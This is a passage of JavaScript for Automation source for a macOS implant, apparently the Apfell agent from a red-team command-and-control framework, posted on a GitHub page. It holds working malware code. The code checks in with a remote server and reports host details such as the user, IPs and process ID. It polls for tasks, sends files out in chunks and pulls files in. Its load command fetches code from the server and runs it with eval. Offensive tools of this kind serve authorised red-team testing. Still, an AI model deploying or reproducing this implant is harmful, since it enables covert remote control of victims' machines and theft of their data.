base_uri = base_uri.replace(endpoint['urlFunctions'][i]['name'], value);
}
let query_string = "?";
for(let i in endpoint['QueryParameters']){
let value = endpoint['QueryParameters'][i]['value'];
if(value === undefined){value = "";}
if(value === "message"){value = data;}
value = this.create_value(value, endpoint['QueryParameters'][i]['transforms']);
let NSCharacterSet = $.NSCharacterSet.characterSetWithCharactersInString("/+=\n").invertedSet;
value = $(value).stringByAddingPercentEncodingWithAllowedCharacters(NSCharacterSet).js;
query_string += endpoint['QueryParameters'][i]['name'] + "=" + value + "&";
}
base_uri += query_string.slice(0, -1); //take off trailing & or ?
let cookies = {};
for(let i in endpoint['Cookies']){
let value = endpoint['Cookies'][i]['value'];
if(value === undefined){ value = "";}
if(value === "message"){ value = data;}
value = this.create_value(value, endpoint['Cookies'][i]['transforms']);
cookies[endpoint['Cookies'][i]['name']] = value;
}
let headers = endpoint['AgentHeaders'];
let cookie_header = "";
for(let i in cookies){
cookie_header += i + "=" + cookies[i] + ";";
}
if(cookie_header !== ""){
headers['Cookie'] = cookie_header;
}
let url = base_url + base_uri;
let body = this.create_value(data, endpoint['Body']);
// now make the request object
let req = $.NSMutableURLRequest.alloc.initWithURL($.NSURL.URLWithString(url));
for(let i in headers) {
req.setValueForHTTPHeaderField($.NSString.alloc.initWithUTF8String(headers[i]), $.NSString.alloc.initWithUTF8String(i));
}
if(method === "POST") {
req.setHTTPMethod($.NSString.alloc.initWithUTF8String("POST"));
let postData = $(body).dataUsingEncodingAllowLossyConversion($.NSString.NSASCIIStringEncoding, true);
let postLength = $.NSString.stringWithFormat("%d", postData.length);
req.addValueForHTTPHeaderField(postLength, $.NSString.alloc.initWithUTF8String('Content-Length'));
req.setHTTPBody(postData);
}
return req;
}
getConfig(){
//A RESTful base config consists of the following:
// BaseURL (includes Port), CallbackInterval, KillDate (not implemented yet)
let config = {
"C2": {
"commands": this.commands.join(","),
"api_version": this.api_version,
"aes_psk": this.aes_psk,
"config": this.c2_config
},
"Host": {
"user": apfell.user,
"fullName": apfell.fullName,
"ips": apfell.ip,
"hosts": apfell.host,
"environment": apfell.environment,
"uptime": apfell.uptime,
"args": apfell.args,
"pid": apfell.pid,
"apfell_id": apfell.id,
"payload_id": apfell.uuid
}};
return JSON.stringify(config, null, 2);
}
checkin(ip, pid, user, host, os, architecture){
let info = {'ip':ip,'pid':pid,'user':user,'host':host,'uuid':apfell.uuid, "os": os, "architecture": architecture, "action": "checkin"};
if(user === 'root'){info['integrity_level'] = 3;}
//let req = null;
let jsondata = null;
if(this.exchanging_keys){
let sessionID = this.negotiate_key();
jsondata = this.make_request("POST", sessionID, info);
}else{
jsondata = this.make_request("POST", apfell.uuid, info);
}
apfell.id = jsondata.id;
// if we fail to get an ID number then exit the application
if(apfell.id === undefined){ $.NSApplication.sharedApplication.terminate(this); }
return jsondata;
}
getTasking(){
while(true){
try{
let task = this.make_request("GET", apfell.id, {"tasking_size":1, "action": "get_tasking"});
return task['tasks'];
}
catch(error){
//console.log("error in getTasking: " + error.toString());
$.NSThread.sleepForTimeInterval(this.gen_sleep_time()); // don't spin out crazy if the connection fails
}
}
}
postResponse(task, data){
//depending on the amount of data we're sending, we might need to chunk it
data['task_id'] = task.id;
let postData = {"action": "post_response", "responses": [data]};
return this.make_request("POST", apfell.id, postData );
}
make_request(method="POST", uid=apfell.id, data=null){
while(true){
try{
let req;
if(method === "POST"){
if(this.post_messages.length > 0) {
req = this.create_message(this.get_random_element(this.post_messages), data, uid, method);
}else{
req = this.create_message(this.get_random_element(this.get_messages), data, uid, method);
}
}else{
if(this.get_messages.length > 0){
req = this.create_message(this.get_random_element(this.get_messages), data, uid, method);
}else{
req = this.create_message(this.get_random_element(this.post_messages), data, uid, method);
}
}
//for some reason it sometimes randomly fails to send the data, throwing a JSON error. loop to fix for now
let response = Ref();
let error = Ref();
let responseData = $.NSURLConnection.sendSynchronousRequestReturningResponseError(req,response,error);
responseData = this.retrieve_message(responseData, method);
if( responseData.length < 36){
$.NSThread.sleepForTimeInterval(this.gen_sleep_time());
continue;
}
let resp = $.NSData.alloc.initWithBase64Encoding(responseData);
let uuid_range = $.NSMakeRange(0, 36);
let message_range = $.NSMakeRange(36, resp.length - 36);
let uuid = $.NSString.alloc.initWithDataEncoding(resp.subdataWithRange(uuid_range), $.NSUTF8StringEncoding).js;
//console.log("carving out rest of message");
if(uuid !== apfell.uuid && uuid !== apfell.id && uuid !== uid){
//console.log("id doesn't match: " + uuid);
$.NSThread.sleepForTimeInterval(this.gen_sleep_time());
continue;
}
resp = resp.subdataWithRange(message_range); //could either be plaintext json or encrypted bytes
//we're not doing the initial key exchange
if(this.aes_psk !== ""){
//if we do need to decrypt the response though, do that
resp = ObjC.unwrap(this.decrypt_message(resp));
return JSON.parse(resp);
}else{
//we don't need to decrypt it, so we can just parse and return it
return JSON.parse(ObjC.deepUnwrap($.NSString.alloc.initWithDataEncoding(resp, $.NSUTF8StringEncoding)));
}
}
catch(error){
//console.log("error in make_request: " + error.toString());
$.NSThread.sleepForTimeInterval(this.gen_sleep_time()); // don't spin out crazy if the connection fails
}
}
}
download(task, params){
let output = "";
if( does_file_exist(params)){
let offset = 0;
let chunkSize = this.chunk_size; //3500;
let full_path = params;
try{
let fm = $.NSFileManager.defaultManager;
let pieces = ObjC.deepUnwrap(fm.componentsToDisplayForPath(params));
full_path = "/" + pieces.slice(1).join("/");
var handle = $.NSFileHandle.fileHandleForReadingAtPath(full_path);
// Get the file size by seeking;
var fileSize = handle.seekToEndOfFile;
}catch(error){
return {'status': 'error', 'user_output': error.toString(), "completed": true};
}
// always round up to account for chunks that are < chunksize;
let numOfChunks = Math.ceil(fileSize / chunkSize);
let registerData = {'total_chunks': numOfChunks, "full_path": full_path};
let registerFile = this.postResponse(task, registerData);
if (registerFile['responses'][0]['status'] === "success"){
handle.seekToFileOffset(0);
let currentChunk = 1;
let data = handle.readDataOfLength(chunkSize);
while(parseInt(data.length) > 0 && offset < fileSize){
// send a chunk
let fileData = {'chunk_num': currentChunk, 'chunk_data': data.base64EncodedStringWithOptions(0).js, 'file_id': registerFile['responses'][0]['file_id']};
let response = this.postResponse(task, fileData);
if(response['responses'][0]['status'] === 'success'){
offset += parseInt(data.length);
handle.seekToFileOffset(offset);
currentChunk += 1;
data = handle.readDataOfLength(chunkSize);
}
$.NSThread.sleepForTimeInterval(this.gen_sleep_time());
}
output = {"completed":true, "file_id": registerFile['responses'][0]['file_id']};
}
else{
output = {'status': 'error', 'user_output': "Failed to register file to download", "completed": true};
}
}
else{
output = {'status': 'error', 'user_output': "file does not exist", "completed": true};
}
return output;
}
upload(task, file_id, full_path){
try{
let data = {"action": "upload", "file_id": file_id, "chunk_size": this.chunk_size, "chunk_num": 1, "full_path": full_path, "task_id": task.id};
let chunk_num = 1;
let total_chunks = 1;
let total_data = $.NSMutableData.dataWithLength(0);
do{
let file_data = this.make_request("POST", apfell.id, data);
if(file_data['chunk_num'] === 0){
return {'status': 'error', 'user_output': "Error from the server", "completed": true};
}
chunk_num = file_data['chunk_num'];
total_chunks = file_data['total_chunks'];
total_data.appendData($.NSData.alloc.initWithBase64Encoding($(file_data['chunk_data'])));
data = {"action": "upload", "file_id": file_id, "chunk_size": this.chunk_size, "chunk_num": chunk_num + 1};
}while(chunk_num < total_chunks);
return total_data;
}catch(error){
return {'status': 'error', 'user_output': error.toString(), "completed": true};
}
}
}
//------------- INSTANTIATE OUR C2 CLASS BELOW HERE IN MAIN CODE-----------------------
ObjC.import('Security');
C2 = new customC2();
//-------------SHARED COMMAND CODE ------------------------
does_file_exist = function(strPath){
var error = $();
return $.NSFileManager.defaultManager.attributesOfItemAtPathError($(strPath).stringByStandardizingPath, error), error.code === undefined;
};
convert_to_nsdata = function(strData){
// helper function to convert UTF8 strings to NSData objects
var tmpString = $.NSString.alloc.initWithCStringEncoding(strData, $.NSData.NSUnicodeStringEncoding);
return tmpString.dataUsingEncoding($.NSData.NSUTF16StringEncoding);
};
write_data_to_file = function(data, file_path){
try{
//var open_file = currentApp.openForAccess(Path(file_path), {writePermission: true});
//currentApp.setEof(open_file, { to: 0 }); //clear the current file
//currentApp.write(data, { to: open_file, startingAt: currentApp.getEof(open_file) });
//currentApp.closeAccess(open_file);
if(typeof data == "string"){
data = convert_to_nsdata(data);
}
if (data.writeToFileAtomically($(file_path), true)){
return "file written";
}
else{
return "failed to write file";
}
}
catch(error){
return "failed to write to file: " + error.toString();
}
};
default_load = function(contents){
var module = {exports: {}};
var exports = module.exports;
if(typeof contents == "string"){
eval(contents);
}
else{
eval(contents.js);
}
return module.exports;
};
base64_decode = function(data){
if(typeof data == "string"){
var ns_data = $.NSData.alloc.initWithBase64Encoding($(data));
}
else{
var ns_data = data;
}
var decoded_data = $.NSString.alloc.initWithDataEncoding(ns_data, $.NSUTF8StringEncoding).js;
return decoded_data;
};
base64_encode = function(data){
if(typeof data == "string"){
var ns_data = convert_to_nsdata(data);
}
else{
var ns_data = data;
}
var encoded = ns_data.base64EncodedStringWithOptions(0).js;
return encoded;
};
var exports = {}; // get stuff ready for initial command listing
exports.ls = function(task, command, params){
ObjC.import('Foundation');
try {
let command_params = JSON.parse(params);
let fileManager = $.NSFileManager.defaultManager;
let error = Ref();
let path = command_params['path'];
if (path === "" || path === undefined) {
path = fileManager.currentDirectoryPath.js;
if (path === undefined || path === "") {
return {
"user_output": "Failed to get current working directory",
"completed": true,
"status": "error"
};
}
}
if (path[0] === '"') {
path = path.substring(1, path.length - 1);
}
if(path[0] === '~'){
path = $(path).stringByExpandingTildeInPath.js;
}
let attributes = ObjC.deepUnwrap(fileManager.attributesOfItemAtPathError($(path), error));
if (attributes !== undefined) {
attributes['type'] = "F";
attributes['files'] = [];
if (attributes.hasOwnProperty('NSFileType') && attributes['NSFileType'] === "NSFileTypeDirectory") {
let error = Ref();
attributes['type'] = "D";
let files = ObjC.deepUnwrap(fileManager.contentsOfDirectoryAtPathError($(path), error));
if (files !== undefined) {
let files_data = [];
let sub_files = files;
if (path[path.length - 1] !== "/") {
path = path + "/";
}
for (let i = 0; i < sub_files.length; i++) {
let attr = ObjC.deepUnwrap(fileManager.attributesOfItemAtPathError($(path + sub_files[i]), error));
let file_add = {};
file_add['name'] = sub_files[i];
if (attr['NSFileType'] === "NSFileTypeDirectory") {
file_add['type'] = "D";
} else {
file_add['type'] = "";
}
let plistPerms = ObjC.unwrap(fileManager.attributesOfItemAtPathError($(path + sub_files[i]), $()));
if(plistPerms['NSFileExtendedAttributes'] !== undefined){
let extended = {};
let perms = plistPerms['NSFileExtendedAttributes'].js;
for(let j in perms){
extended[j] = perms[j].base64EncodedStringWithOptions(0).js;
}
file_add['ExtendedAttributes'] = extended;
}
file_add['size'] = attr['NSFileSize'];
let nsposix = attr['NSFilePosixPermissions'];
// we need to fix this mess to actually be real permission bits that make sense
file_add['permissions'] = ((nsposix >> 6) & 0x7).toString() + ((nsposix >> 3) & 0x7).toString() + (nsposix & 0x7).toString();
file_add['owner'] = attr['NSFileOwnerAccountName'] + "(" + attr['NSFileOwnerAccountID'] + ")";
file_add['group'] = attr['NSFileGroupOwnerAccountName'] + "(" + attr['NSFileGroupOwnerAccountID'] + ")";
if (attr['NSFileExtensionHidden']) {
file_add['hidden'] = "Y";
} else {
file_add['hidden'] = "";
}
files_data.push(file_add);
}
attributes['files'] = files_data;
}else{
}
}
delete attributes['NSFileSystemFileNumber'];
delete attributes['NSFileSystemNumber'];
delete attributes['NSFileType'];
let nsposix = attributes['NSFilePosixPermissions'];
// we need to fix this mess to actually be real permission bits that make sense
delete attributes['NSFilePosixPermissions'];
attributes['name'] = path;
attributes['size'] = attributes['NSFileSize'];
attributes['permissions'] = ((nsposix >> 6) & 0x7).toString() + ((nsposix >> 3) & 0x7).toString() + (nsposix & 0x7).toString();;
attributes['owner'] = attributes['NSFileOwnerAccountName'] + "(" + attributes['NSFileOwnerAccountID'] + ")";
attributes['group'] = attributes['NSFileGroupOwnerAccountName'] + "(" + attributes['NSFileGroupOwnerAccountID'] + ")";
if (attributes['NSFileExtensionHidden']) {
attributes['hidden'] = "Y";
} else {
attributes['hidden'] = "";
}
delete attributes['NSFileSize'];
delete attributes['NSFileOwnerAccountName'];
delete attributes['NSFileOwnerAccountID'];
delete attributes['NSFileGroupOwnerAccountName'];
delete attributes['NSFileGroupOwnerAccountID'];
return {"user_output": JSON.stringify(attributes, null, 6), "completed": true};
}else{
return {
"user_output": "Failed to get attributes of file. File doesn't exist or you don't have permission to read it",
"completed": true,
"status": "error"
};
}
}catch(error){
return {
"user_output": "Error: " + error.toString(),
"completed": true,
"status": "error"
};
}
};
exports.load = function(task, command, params){
//base64 decode the params and pass it to the default_load command
// params should be {"cmds": ["cmd_name1", "cmd_name2"], "file_id": #}
try{
let parsed_params = JSON.parse(params);
let code = C2.upload(task, parsed_params['file_id'], "");
if(typeof code === "string"){
return {"user_output":String(code), "completed": true, "status": "error"};
//something failed, we should have NSData type back
}
let new_dict = default_load(base64_decode(code));
commands_dict = Object.assign({}, commands_dict, new_dict);
// update the config with our new information
C2.commands = Object.keys(commands_dict);
return {"user_output": "Loaded " + parsed_params['cmds'], "completed": true};
}
catch(error){
//console.log("errored in load function");
return {"user_output":error.toString(), "completed": true, "status": "error"};
}
};
//console.log("about to load commands");
var commands_dict = exports;
var jsimports = "";
//-------------GET IP AND CHECKIN ----------------------------------
if( $.NSDate.date.compare(C2.kill_date) === $.NSOrderedDescending ){
$.NSApplication.sharedApplication.terminate(this);
}
for(let i=0; i < apfell.ip.length; i++){
let ip = apfell.ip[i];
if (ip.includes(".") && ip !== "127.0.0.1"){ // the includes(".") is to make sure we're looking at IPv4
//console.log("found ip, checking in");
C2.commands = Object.keys(commands_dict);
C2.checkin(ip,apfell.pid,apfell.user,ObjC.unwrap(apfell.procInfo.hostName),"macOS" + " " + apfell.osVersion, "x64");
break;
}
}
//---------------------------MAIN LOOP ----------------------------------------
function sleepWakeUp(){
while(true){
$.NSThread.sleepForTimeInterval(C2.gen_sleep_time());
let output = "";
let task = C2.getTasking();
//console.log(JSON.stringify(task));
let command = "";
try{
//console.log(JSON.stringify(task));
if(task.length === 0){
continue;
}
task = task[0];
//console.log(JSON.stringify(task));
command = task["command"];
try{
output = commands_dict[command](task, command, task['parameters']);
}
catch(error){
if(error.toString().includes("commands_dict[command] is not a function")){
output ={"user_output": "Unknown command: " + command, "status": "error", "completed": true};
}
else{
output = {"user_output": error.toString(), "status": "error", "completed": true};
}
}
C2.postResponse(task, output);
}
catch(error){
C2.postResponse(task, {"user_output": error.toString(), "status": "error", "completed": true});
}
//task["command"] = "none"; //reset just in case something goes weird
}
}
sleepWakeUp();
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment